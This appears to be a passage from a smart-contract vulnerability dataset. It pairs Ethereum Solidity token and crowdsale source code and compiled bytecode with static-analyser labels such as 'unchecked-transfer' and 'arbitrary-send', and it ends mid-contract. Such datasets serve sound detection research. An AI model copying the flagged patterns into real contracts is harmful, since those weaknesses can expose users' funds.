oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /* * CCR Token Smart Contract. @ 2018 by Kapsus Technoloies Limited (www.kapsustech.com). * Author: Susanta Saren <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="93f1e6e0fafdf6e0e0d3f0e1eae3e7fcf0f2e0fbf1f2f0f8e1f6f1f2e7f6bdf0fcfe">[email&#160;protected]</a>> */ contract CCRToken is MintableToken, PausableToken { using SafeMath for uint256; string public constant name = "CryptoCashbackRebate Token"; string public constant symbol = "CCR"; uint32 public constant decimals = 18; } /* * CCR Token Crowdsale Smart Contract. @ 2018 by Kapsus Technoloies Limited (www.kapsustech.com). * Author: Susanta Saren <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c4a6b1b7adaaa1b7b784a7b6bdb4b0aba7a5b7aca6a5a7afb6a1a6a5b0a1eaa7aba9">[email&#160;protected]</a>> */ contract CCRCrowdsale is Ownable { using SafeMath for uint; event TokensPurchased(address indexed buyer, uint256 ether_amount); event CCRCrowdsaleClosed(); CCRToken public token = new CCRToken(); address public multisigVault = 0x4f39C2f050b07b3c11B08f2Ec452eD603a69839D; uint256 public totalReceived = 0; uint256 public hardcap = 416667 ether; uint256 public minimum = 0.10 ether; uint256 public altDeposits = 0; uint256 public start = 1521338401; // 18 March, 2018 02:00:01 GMT bool public saleOngoing = true; /** * @dev modifier to allow token creation only when the sale IS ON */ modifier isSaleOn() { require(start <= now && saleOngoing); _; } /** * @dev modifier to prevent buying tokens below the minimum required */ modifier isAtLeastMinimum() { require(msg.value >= minimum); _; } /** * @dev modifier to allow token creation only when the hardcap has not been reached */ modifier isUnderHardcap() { require(totalReceived + altDeposits <= hardcap); _; } function CCRCrowdsale() public { token.pause(); } /* * @dev Receive eth from the sender * @param sender the sender to receive tokens. */ function acceptPayment(address sender) public isAtLeastMinimum isUnderHardcap isSaleOn payable { totalReceived = totalReceived.add(msg.value); multisigVault.transfer(this.balance); TokensPurchased(sender, msg.value); } /** * @dev Allows the owner to set the starting time. * @param _start the new _start */ function setStart(uint256 _start) external onlyOwner { start = _start; } /** * @dev Allows the owner to set the minimum purchase. * @param _minimum the new _minimum */ function setMinimum(uint256 _minimum) external onlyOwner { minimum = _minimum; } /** * @dev Allows the owner to set the hardcap. * @param _hardcap the new hardcap */ function setHardcap(uint256 _hardcap) external onlyOwner { hardcap = _hardcap; } /** * @dev Allows to set the total alt deposit measured in ETH to make sure the hardcap includes other deposits * @param totalAltDeposits total amount ETH equivalent */ function setAltDeposits(uint256 totalAltDeposits) external onlyOwner { altDeposits = totalAltDeposits; } /** * @dev Allows the owner to set the multisig contract. * @param _multisigVault the multisig contract address */ function setMultisigVault(address _multisigVault) external onlyOwner { require(_multisigVault != address(0)); multisigVault = _multisigVault; } /** * @dev Allows the owner to stop the sale * @param _saleOngoing whether the sale is ongoing or not */ function setSaleOngoing(bool _saleOngoing) external onlyOwner { saleOngoing = _saleOngoing; } /** * @dev Allows the owner to close the sale and stop accepting ETH. * The ownership of the token contract is transfered to this owner. */ function closeSale() external onlyOwner { token.transferOwnership(owner); CCRCrowdsaleClosed(); } /** * @dev Allows the owner to transfer ERC20 tokens to the multisig vault * @param _token the contract address of the ERC20 contract */ function retrieveTokens(address _token) external onlyOwner { ERC20 foreignToken = ERC20(_token); foreignToken.transfer(multisigVault, foreignToken.balanceOf(this)); } /** * @dev Fallback function which receives ether */ function() external payable { acceptPayment(msg.sender); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806314f80083146101125780632a9f1a791461014b5780633209e9e61461017957806339d08c2a1461019c5780634a88eb89146101c957806352d6804d146101f257806376ae684d1461021b5780638da5cb5b1461024057806394c475ec14610295578063a3c2c462146102b8578063ac4ddd9f146102e1578063b071cbe61461031a578063be9a655514610343578063d0c03f351461036c578063e28fa27d146103c1578063ee55efee146103e4578063f2fde38b146103f9578063f6a03ebf14610432578063fc0c546a14610455575b610110336104aa565b005b341561011d57600080fd5b610149600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506105e0565b005b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506104aa565b005b341561018457600080fd5b61019a60048080359060200190919050506106bb565b005b34156101a757600080fd5b6101af610720565b604051808215151515815260200191505060405180910390f35b34156101d457600080fd5b6101dc610733565b6040518082815260200191505060405180910390f35b34156101fd57600080fd5b610205610739565b6040518082815260200191505060405180910390f35b341561022657600080fd5b61023e6004808035151590602001909190505061073f565b005b341561024b57600080fd5b6102536107b7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102a057600080fd5b6102b660048080359060200190919050506107dc565b005b34156102c357600080fd5b6102cb610841565b6040518082815260200191505060405180910390f35b34156102ec57600080fd5b610318600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610847565b005b341561032557600080fd5b61032d610a51565b6040518082815260200191505060405180910390f35b341561034e57600080fd5b610356610a57565b6040518082815260200191505060405180910390f35b341561037757600080fd5b61037f610a5d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103cc57600080fd5b6103e26004808035906020019091905050610a83565b005b34156103ef57600080fd5b6103f7610ae8565b005b341561040457600080fd5b610430600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c62565b005b341561043d57600080fd5b6104536004808035906020019091905050610db7565b005b341561046057600080fd5b610468610e1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60055434101515156104bb57600080fd5b60045460065460035401111515156104d257600080fd5b42600754111580156104f05750600860009054906101000a900460ff165b15156104fb57600080fd5b61051034600354610e4290919063ffffffff16565b600381905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561058f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff167f8f28852646c20cc973d3a8218f7eefed58c25c909f78f0265af4818c3d4dc271346040518082815260200191505060405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561063b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561067757600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561071657600080fd5b8060058190555050565b600860009054906101000a900460ff1681565b60065481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561079a57600080fd5b80600860006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561083757600080fd5b8060068190555050565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108a457600080fd5b8190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561098957600080fd5b6102c65a03f1151561099a57600080fd5b505050604051805190506000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a3157600080fd5b6102c65a03f11515610a4257600080fd5b50505060405180519050505050565b60045481565b60075481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ade57600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610c2057600080fd5b6102c65a03f11515610c3157600080fd5b5050507fb27ab2711c0917a07899a43f888087135bb50825e764cdedb6bc888ee74b1fb560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cbd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610cf957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b8060078190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808284019050838110151515610e5657fe5b80915050929150505600a165627a7a723058200d2219440f023a827d6e05b4f35de40048a58c2cdc3a3cd109c1b5e9857cd51a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,547
0x001b6e5c7322899355eb65486e8cbb7dbbf19127
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract SDR22 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function SDR22 ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { initialSupply = 9000000000; totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "Self Drive Rental"; // Set the name for display purposes tokenName = "Self Drive Rental"; // Set the name for display purposes tokenSymbol = "SDR"; // Set the symbol for display purposes symbol = "SDR"; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, SDR22 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) SDR22 (initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806342966c681461027857806370a08231146102b357806379cc67901461030057806395d89b411461035a578063a9059cbb146103e8578063cae9ca511461042a578063dd62ed3e146104c7575b600080fd5b34156100ca57600080fd5b6100d2610533565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d1565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba61065e565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610664565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610791565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61029960048080359060200190919050506107a4565b604051808215151515815260200191505060405180910390f35b34156102be57600080fd5b6102ea600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a8565b6040518082815260200191505060405180910390f35b341561030b57600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c0565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b61036d610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ad578082015181840152602081019050610392565b50505050905090810190601f1680156103da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f357600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b78565b005b341561043557600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b87565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d05565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c95780601f1061059e576101008083540402835291602001916105c9565b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610786848484610d2a565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f457600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561091057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099b57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b610b83338383610d2a565b5050565b600080849050610b9785856105d1565b15610cfc578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c91578082015181840152602081019050610c76565b50505050905090810190601f168015610cbe5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cdf57600080fd5b6102c65a03f11515610cf057600080fd5b50505060019150610cfd565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d5157600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d9f57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e2d57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561103a57fe5b505050505600a165627a7a72305820eb87ff076e3e0e15b524652999cb2e6da9ca5619d34c4420577b9683588bbb050029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
8,548
0x78B99Fa6782ff631B9c6dE066DD856Cbb498e357
/** *Submitted for verification at Etherscan.io on 2021-10-20 */ /** *Submitted for verification at Etherscan.io on 2021-10-14 */ /* 🔒 Liq lock, Ownership renounced Telegram: https://t.me/https://t.me/AkenoETH 🌏 Website: https://www.akenoinu.net/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != 